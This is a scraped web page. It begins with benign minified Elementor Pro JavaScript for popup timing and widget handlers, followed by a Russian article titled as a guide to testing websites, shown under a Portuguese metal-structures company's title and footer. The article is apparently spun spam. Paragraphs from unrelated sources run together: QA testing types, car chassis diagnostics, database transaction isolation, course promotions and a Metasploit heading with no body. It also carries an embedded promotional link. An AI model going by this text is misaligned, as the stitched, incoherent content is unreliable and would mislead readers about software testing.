TimesUtils{constructor(e){this.uniqueId=e.uniqueId,this.settings=e.settings,this.storage=e.storage}getTimeFramesInSecounds(e){return{day:86400,week:604800,month:2628288}[e]}setExpiration(e,t,n){if(this.storage.get(e))this.storage.set(e,t);else{const s={lifetimeInSeconds:this.getTimeFramesInSecounds(n)};this.storage.set(e,t,s)}}getImpressionsCount(){const e=this.storage.get(this.uniqueId)??0;return parseInt(e)}incrementImpressionsCount(){if(this.settings.period)if("session"!==this.settings.period){const e=this.getImpressionsCount();this.setExpiration(this.uniqueId,e+1,this.settings.period)}else sessionStorage.setItem(this.uniqueId,parseInt(sessionStorage.getItem(this.uniqueId)??0)+1);else this.storage.set("times",(this.storage.get("times")??0)+1)}shouldCountOnOpen(){this.settings.countOnOpen&&this.incrementImpressionsCount()}shouldDisplayPerTimeFrame(){return this.getImpressionsCount()1?arguments[1]:void 0;const t=parseInt(arguments.length>0&&void 0!==arguments[0]?arguments[0]:0){var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(3107)),r=s(n(6237));class _default extends o.default{constructor(){super(...arguments),this.uniqueId=`popup-${this.document.getSettings("id")}-impressions-count`;const{times_count:e,times_period:t,times_times:n}=this.getSettings();this.settings={countOnOpen:e,period:t,showsLimit:parseInt(n)},""===this.settings.period&&(this.settings.period=!1),["","close"].includes(this.settings.countOnOpen)?(this.settings.countOnOpen=!1,this.onPopupHide()):this.settings.countOnOpen=!0,this.utils=new r.default({uniqueId:this.uniqueId,settings:this.settings,storage:elementorFrontend.storage})}getName(){return"times"}check(){if(!this.settings.period){const e=this.document.getStorage("times")||0,t=this.getTimingSetting("times");return this.utils.shouldDisplayBackwordCompatible(e,t)}if("session"!==this.settings.period){if(!this.utils.shouldDisplayPerTimeFrame())return!1}else if(!this.utils.shouldDisplayPerSession())return!1;return!0}onPopupHide(){window.addEventListener("elementor/popup/hide",(()=>{this.utils.incrementImpressionsCount()}))}}t.default=_default},6470:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(3107));class _default extends o.default{getName(){return"url"}check(){const e=this.getTimingSetting("url"),t=this.getTimingSetting("action"),n=document.referrer;if("regex"!==t)return"hide"===t^-1!==n.indexOf(e);let s;try{s=new RegExp(e)}catch(e){return!1}return s.test(n)}}t.default=_default},2635:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(4622)),r=s(n(8729)),l=s(n(358)),i=s(n(62)),a=s(n(8811)),d=s(n(9758));class _default extends elementorModules.Module{constructor(e,t){super(e),this.document=t,this.triggers=[],this.triggerClasses={page_load:o.default,scrolling:r.default,scrolling_to:l.default,click:i.default,inactivity:a.default,exit_intent:d.default},this.runTriggers()}runTriggers(){const e=this.getSettings();jQuery.each(this.triggerClasses,((t,n)=>{if(!e[t])return;const s=new n(e,(()=>this.onTriggerFired()));s.run(),this.triggers.push(s)}))}destroyTriggers(){this.triggers.forEach((e=>e.destroy())),this.triggers=[]}onTriggerFired(){this.document.showModal(!0),this.destroyTriggers()}}t.default=_default},2162:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(e,t){super(e),this.callback=t}getTriggerSetting(e){return this.getSettings(this.getName()+"_"+e)}}t.default=_default},62:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(2162));class _default extends o.default{constructor(){super(...arguments),this.checkClick=this.checkClick.bind(this),this.clicksCount=0}getName(){return"click"}checkClick(){this.clicksCount++,this.clicksCount===this.getTriggerSetting("times")&&this.callback()}run(){elementorFrontend.elements.$body.on("click",this.checkClick)}destroy(){elementorFrontend.elements.$body.off("click",this.checkClick)}}t.default=_default},9758:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(2162));class _default extends o.default{constructor(){super(...arguments),this.detectExitIntent=this.detectExitIntent.bind(this)}getName(){return"exit_intent"}detectExitIntent(e){e.clientY<=0&&this.callback()}run(){elementorFrontend.elements.$window.on("mouseleave",this.detectExitIntent)}destroy(){elementorFrontend.elements.$window.off("mouseleave",this.detectExitIntent)}}t.default=_default},8811:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(2162));class _default extends o.default{constructor(){super(...arguments),this.restartTimer=this.restartTimer.bind(this)}getName(){return"inactivity"}run(){this.startTimer(),elementorFrontend.elements.$document.on("keypress mousemove",this.restartTimer)}startTimer(){this.timeOut=setTimeout(this.callback,1e3*this.getTriggerSetting("time"))}clearTimer(){clearTimeout(this.timeOut)}restartTimer(){this.clearTimer(),this.startTimer()}destroy(){this.clearTimer(),elementorFrontend.elements.$document.off("keypress mousemove",this.restartTimer)}}t.default=_default},4622:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(2162));class _default extends o.default{getName(){return"page_load"}run(){this.timeout=setTimeout(this.callback,1e3*this.getTriggerSetting("delay"))}destroy(){clearTimeout(this.timeout)}}t.default=_default},358:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(2162));class _default extends o.default{getName(){return"scrolling_to"}run(){let e;try{e=jQuery(this.getTriggerSetting("selector"))}catch(e){return}e.length&&(this.setUpIntersectionObserver(),this.observer.observe(e[0]))}setUpIntersectionObserver(){this.observer=new IntersectionObserver((e=>{e.forEach((e=>{e.isIntersecting&&this.callback()}))}))}destroy(){this.observer&&this.observer.disconnect()}}t.default=_default},8729:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(2162));class _default extends o.default{constructor(){super(...arguments),this.checkScroll=this.checkScroll.bind(this),this.lastScrollOffset=0}getName(){return"scrolling"}checkScroll(){const e=scrollY>this.lastScrollOffset?"down":"up",t=this.getTriggerSetting("direction");if(this.lastScrollOffset=scrollY,e!==t)return;if("up"===e)return void this.callback();const n=elementorFrontend.elements.$document.height()-innerHeight;scrollY/n*100>=this.getTriggerSetting("offset")&&this.callback()}run(){elementorFrontend.elements.$window.on("scroll",this.checkScroll)}destroy(){elementorFrontend.elements.$window.off("scroll",this.checkScroll)}}t.default=_default},3002:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),["classic","full_content","cards"].forEach((e=>{elementorFrontend.elementsHandler.attachHandler("posts",(()=>n.e(985).then(n.bind(n,2607))),e)})),elementorFrontend.elementsHandler.attachHandler("posts",(()=>n.e(287).then(n.bind(n,2298))),"classic"),elementorFrontend.elementsHandler.attachHandler("posts",(()=>n.e(287).then(n.bind(n,2298))),"full_content"),elementorFrontend.elementsHandler.attachHandler("posts",(()=>n.e(287).then(n.bind(n,8496))),"cards"),elementorFrontend.elementsHandler.attachHandler("portfolio",(()=>n.e(824).then(n.bind(n,5208))))}}t.default=_default},8650:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("share-buttons",(()=>n.e(58).then(n.bind(n,4112))))}}t.default=_default},6701:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("slides",(()=>n.e(114).then(n.bind(n,9378))))}}t.default=_default},102:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("facebook-button",(()=>n.e(443).then(n.bind(n,3225)))),elementorFrontend.elementsHandler.attachHandler("facebook-comments",(()=>n.e(443).then(n.bind(n,3225)))),elementorFrontend.elementsHandler.attachHandler("facebook-embed",(()=>n.e(443).then(n.bind(n,3225)))),elementorFrontend.elementsHandler.attachHandler("facebook-page",(()=>n.e(443).then(n.bind(n,3225))))}}t.default=_default},1748:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("table-of-contents",(()=>Promise.all([n.e(699),n.e(838)]).then(n.bind(n,8208))))}}t.default=_default},5438:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),["archive_classic","archive_full_content","archive_cards"].forEach((e=>{elementorFrontend.elementsHandler.attachHandler("archive-posts",(()=>n.e(685).then(n.bind(n,8297))),e)})),elementorFrontend.elementsHandler.attachHandler("archive-posts",(()=>n.e(685).then(n.bind(n,8537))),"archive_classic"),elementorFrontend.elementsHandler.attachHandler("archive-posts",(()=>n.e(685).then(n.bind(n,8537))),"archive_full_content"),elementorFrontend.elementsHandler.attachHandler("archive-posts",(()=>n.e(685).then(n.bind(n,9409))),"archive_cards"),jQuery((function(){var e=location.search.match(/theme_template_id=(\d*)/),t=e?jQuery(".elementor-"+e[1]):[];t.length&&jQuery("html, body").animate({scrollTop:t.offset().top-window.innerHeight/2})}))}}t.default=_default},2439:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("search-form",(()=>n.e(858).then(n.bind(n,6709))))}}t.default=_default},5032:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("woocommerce-menu-cart",(()=>n.e(102).then(n.bind(n,2083)))),elementorFrontend.elementsHandler.attachHandler("woocommerce-purchase-summary",(()=>n.e(1).then(n.bind(n,484)))),elementorFrontend.elementsHandler.attachHandler("woocommerce-checkout-page",(()=>n.e(124).then(n.bind(n,9035)))),elementorFrontend.elementsHandler.attachHandler("woocommerce-cart",(()=>n.e(859).then(n.bind(n,7649)))),elementorFrontend.elementsHandler.attachHandler("woocommerce-my-account",(()=>n.e(979).then(n.bind(n,1915)))),elementorFrontend.elementsHandler.attachHandler("woocommerce-notices",(()=>n.e(497).then(n.bind(n,2627)))),elementorFrontend.elementsHandler.attachHandler("woocommerce-product-add-to-cart",(()=>n.e(800).then(n.bind(n,5767)))),elementorFrontend.isEditMode()&&elementorFrontend.on("components:init",(()=>{elementorFrontend.elements.$body.find(".elementor-widget-woocommerce-cart").length||elementorFrontend.elements.$body.append('
')}))}}t.default=_default},8003:e=>{e.exports=wp.i18n}},e=>{e.O(0,[819],(()=>{return t=7996,e(e.s=t);var t}));e.O()}]); Как тестировать веб-сайт: основные этапы и советы ᐉ Веб-студия Brainlab – Big Estruturas Metálicas
 

Как тестировать веб-сайт: основные этапы и советы ᐉ Веб-студия Brainlab

Как тестировать веб-сайт: основные этапы и советы ᐉ Веб-студия Brainlab

Я искал формулировки и наиболее понравившиеся вставлял в статью, ссылки на источники внизу. Намерений рекламы не было, ибо сам заканчивал другие курсы, которые мне понравились, но материалы в открытый доступ они не выкладывали. Ваша статья мне очень сильно помогла в подготовке к собеседованиям. Я не говорю, что здесь указана вся информация о тестировании, но в статье содержатся, как сказал автор, основы основ для того, чтобы не ударить в грязь лицом во время интервью.

  • Связано это с тем, что данная задача аналогична проблеме поиска обратных функций, которая не имеет решения в общем случае.
  • Тестируя пользовательский интерфейс необходимо проверить все его элементы, среди них текст, цвета, изображения, поля ввода, текстовые поля, значки, списки и так далее.
  • Обнаружение и исправление дефектов не помогут, если созданная система не подходит пользователю и не удовлетворяет его ожиданиям и потребностям.
  • Это также и анализ требований, спецификаций и другой проектной документации, которая прямо влияет на разработку продукта.

Данные пользователей на устройстве защищены от случайного удаления или любого другого повреждения связанного с работой приложения. Данные пользователей, которые они вносят в приложение защищены от любых третьих лиц. Никто не сможет проникнуть в приложение или использовать его в своих целях несанкционированно. Сделать сайт — это, в первую очередь, важно для бизнеса. Сделать удобный сайт — жест, ориентированный на комфорт клиента.

В связи с повышенной нагрузкой на ходовую элементы и детали авто чаще изнашиваются, проверку и диагностику этой части авто нужно производить с регулярной периодичностью. Незамеченные неисправности в нужное время могут привести к более существенным проблемам и «сбоям» в работе. Диагностика ходовой части автомобиля Mercedes-Benz относится к одной из востребованных услуг, оказываемой в специализированных автоцентрах. Нагрузку испытывают практически все элементы-части транспортного средства, поэтому от их функционального состояния зависит безопасное управление авто. В некоторых реализациях допускается выполнение определенного набора операций от имени другого пользователя и с его привилегиями — в частности вызовы пакетов и хранимых процедур.

Две диаграммы потока данных описывают различные бизнес-процессы, работающие над одними и теми же данными. Допустим, первая диаграмма описывает выписку товара со склада, а вторая — сложный отчет, отражающий состояние склада. Один процесс интенсивно модифицирует данные, второй работает в режиме чтения данных, но требует согласованности данных в течение длительного времени. Каждый из процессов описывается транзакцией над данными. В СУБД уровни изолированности транзакций реализованы так, что читающие транзакции конфликтуют с модифицирующими транзакциями. Это приводит к остановке выписки товаров со склада на время выполнения отчета, что неприемлемо для заказчика.

Где и как обучиться профессии тестировщика

За это время можно получить базовую подготовку, достаточную для начала работы в качестве тестировщика. Одна крайность — специалист, который замечательно придумывает тесты, но совсем не понимает кода. Вторая крайность — разработчик, который занимается автоматизацией, но никогда не учил теорию тестирования. Он может писать замечательные автотесты, но не способен сам их придумывать.

В компании прошёл путь от функционального тестировщика до руководителя команды автоматизаторов. Выполнить оценивание и тестирование Web-сайта или приложения. Модели и методологии разработки программного обеспечения. Повысила квалификацию, окончив курс «Soft-skills for IT people», Source IT г. Преподаватель дисциплин по различным языкам программирования, компьютерной графике, системам автоматизированного проектирования, интернет технологиям в пиаре. Терпелива, внимательна к слушателям, любит свою работу, а также раскрывать способности своих слушателей и направлять.

Модульное тестирование обычно подразумевает создание вокруг каждого модуля определенной среды, включающей заглушки для всех интерфейсов тестируемого модуля. То есть для полноценной верификации необходимо разрабатывать тесты, используя полученные данные и проверять реальное поведение программы на всех классах эквивалентности. Кроме того, повторное исполнение автоматических тестов, в целях регрессионного тестирования, значительно проще и дешевле повторного анализа всей системы. Еще один этап тестирования – проверка локализации и глобализации приложения. Если же ваше приложение рассчитано на более широкую аудиторию, или вы претендуете на мировой масштаб, необходимо уделить время локализации. Тестирование — работа для узкопрофильных специалистов, и вам вряд ли захочется принимать активное участие в самой работе.

Что такое Metasploit? Как его использовать для проверки безопасности проекта?

И это риск, о котором Вы должны знать, чтобы быть в безопасности. Мы рассмотрим разные типы атак, найдем схожее и поймем разницу. Поближе познакомимся с их внутренними механизмами, поймем почему это вообще стало возможным и “как это работает” (с).

этапы функицонального тестирования

При этом для тестирования создаются тестовые случаи , составление которых учитывает приоритетность функций ПО, которые необходимо покрыть тестами. Таким образом мы можем убедиться в том, что все функции разрабатываемого продукта работают корректно при различных типах входных данных, их комбинаций, количества и т.д. Функциональное тестирование сайта – вид проверки, выявляющий неправильную работу функционала программы. Вопросы восстановления, хранения резервных копий базы данных, архивов базы данных относятся к мероприятиям поддержки бесперебойного функционирования информационной системы. Необходимо внимательно изучить возможности, предоставляемые СУБД, а затем проанализировать, как следует использовать возможности СУБД для обеспечения требуемого уровня бесперебойной работы системы. Последний тест информационной системы — приемо-сдаточные испытания.

Недостатки сайта могут проявляться в разных сферах. Если где-то в коде была допущена опечатка или есть проблемы с архитектурой сайта, то при определенных условиях возникнут “баги”. Неисправность сайта отобьет у пользователя желание совершить целевое действие или даже сделает невозможным любой интерактив, взаимодействие с интернет-ресурсом. Даже если вы пока не ожидаете такого масштабного трафика, то перестраховаться лучше заранее. Сбои и некорректная работа элементов сайта — это не то, что добавит вам имиджа и лояльности аудитории.

Функциональное тестирование сайта

Также мы дадим советы по устранению проблем сайта и будем осуществлять дальнейшую поддержку по вашему желанию. Отправляя сведения через электронную форму, вы даете согласие на обработку ваших персональных данных. Используемые нами передовые технологии front-end разработки сделают Ваше приложение удобным для работы на любом устройстве и гарантируют отличный пользовательский опыт. Проверяет, соответствует ли система 2000 году и готова ли она для производства. Связывание (известно также как Целостность интерфейса) — обеспечение того, что даты в одной системе, требующие соответствующих изменений в другой системе, будут правильно обрабатываться. Если с предыдущим уровнем тестирования все понятно, то с системным интеграционным тестирование все несколько сложнее.

этапы функицонального тестирования

Regression testing — проверяется то, что исправление багов, а также любые изменения в коде приложения, не повлияли на другие модули ПО и не вызвало новых багов. User eXperience — ощущение, испытываемое пользователем во время использования цифрового продукта, https://deveducation.com/ в то время как User interface — это инструмент, позволяющий осуществлять интеракцию «пользователь — веб-ресурс». Тестирование установки направленно на проверку успешной инсталляции и настройки, а также обновления или удаления программного обеспечения.

Карты, деньги, консоль браузера для QA

Например, когда никак не контроллируется ввод пользователя, в результате неверные данные вызывают краши или иные «радости» в работе программы. Либо внутри программа построена так, что изначально не соответствует тому, что от неё ожидается. Как правило, чек-лист содержит только действия (шаги), без ожидаемого результата.

Как тестировать веб-сайт: основные виды и цели тестирования

Иногда не получается сделать заказ, войти в корзину пользователя, пролистать фотографии или что-то еще. Мы протестируем все страницы сайта, чтобы ваши клиенты никогда не сталкивались с подобными проблемами, оставляли хорошие отзывы и почаще возвращались к вам с новой сформированной потребностью. Тестирование сайта на мобильных устройствах, планшетах, ноутбуках, ПК различных моделей. Здесь анализируется поведение, эмоции, впечатления тестировщиков при выполнении различных действий в приложении. Все данные фиксируются наблюдателями, которые находятся в том же помещении.

Подготовительный этап тестирования веб-сайта

В условиях длительных программных проектов применяются автоматические тесты. Разработка тестовых процедур выделилась в отдельную область деятельности программистов, интегрированную в общий процесс разработки программного обеспечения. Это заключительный этап функционального тестирования, задача которого – убедиться, что все требования, оговоренные в начале разработки и принятые по ходу удовлетворены. Например, система может отлично функционировать в целом, но окажется, что какой-то части функционала просто нет. Чтобы избежать таких ситуаций применяют приемочное тестирование.

Методология использования машинного обучения в нагрузочном тестировании

Testing Challenges— «пощупать руками» интересные задачки для тестирования. Курсы по тестированию на Coursera, стоимость от $39 в месяц. — Перечислить найденные уязвимости и недочеты продукта в техническом документе (чаще всего — на английском языке). Курс предназначен для активных пользователей, желающих научиться создавать и настраивать небольшие локальные сети (например домашнюю сеть ил… Курс предназначен для слушателей имеющих базовое представление о принципах работы компьютеров. Инструменты для разработки и поддержки тест-кейсов.

Сайт будет работать корректно, быстро, обеспечит полный комфорт для пользователя. Это повод рассказать о вашем сайте друзьям, самому вернуться к вам, когда сформируется новая горячая потребность. Любой сайт — это многостраничный код, написанный целой командой программистов. Даже опытный что такое функциональное тестирование коллектив разработчиков может не предусмотреть всё, допустить ошибку и даже банальную опечатку. Главное, чтобы на этапе тестирования всё это было выявлено и исправлено своевременно. По-другому обозначается как UI Testing и фактически является составляющей частью UX Testing.

Comments are closed.

Copyright © 2017 Big Estruturas - Todos os direitos reservados